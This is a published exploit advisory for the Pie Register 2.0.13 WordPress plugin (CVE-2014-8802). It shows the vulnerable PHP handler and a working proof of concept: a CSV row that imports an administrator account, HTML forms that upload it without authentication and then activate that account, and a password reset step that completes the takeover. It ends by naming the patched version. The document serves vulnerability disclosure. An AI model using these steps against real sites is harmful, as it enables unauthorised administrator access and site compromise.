WordPress Plugin Pie Register 2.0.13 - Privilege Escalation

# Exploit Title: Pie Register 2.0.13 Privilege escalation
# Date: 16-10-2014
# Software Link: https://wordpress.org/plugins/pie-register/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-8802
# Category: webapps

1. Description
  
Anyone can import CSV file. Pie Register will import users from this file.

File: pie-register\pie-register.php

add_action( 'init', array($this,'pie_main') );
function pie_main() {
	// I skip unnecessary lines
	if(isset($_FILES['csvfile']['name'])) {
		$this->importUsers();
	}
}

http://security.szurek.pl/pie-register-2013-privilege-escalation.html

2. Proof of Concept

Create CSV file based on given example:

"Username","Display name","E-mail","User Registered","First Name","Last Name","Nickname","Role"
"hack","Hacked","hacked@hacked.hacked","2010-10-10 20:00:00","Hacked","Hacked","Hacked","administrator"

Import account using:

<form method="post" action="http://wordpress-instalation" enctype="multipart/form-data">
    Input CSV<input type="file" name="csvfile">
    <input type="submit" value="Add user!">
</form>

Create another standard account using wp-login.php?action=register.

After login go to wp-admin/profile.php and search "uid" in page source.

Number after "uid" is our current account id. For example: "uid":"123".

We can assume that previously imported admin account has id-1 (or id-x where x is natural number).

We can activate this account using:

<form method="post" action="http://wordpress-instalation">
    <input type="hidden" name="verifyit" value="1">
    Account id:<input type="text" name="vusers[]" value="">
    <input type="submit" value="Activate user!">
</form>

Finally we can reset password using: http://wordpress-instalation/wp-login.php?action=lostpassword
  
3. Solution:
  
Update to version 2.0.14
https://downloads.wordpress.org/plugin/pie-register.2.0.14.zip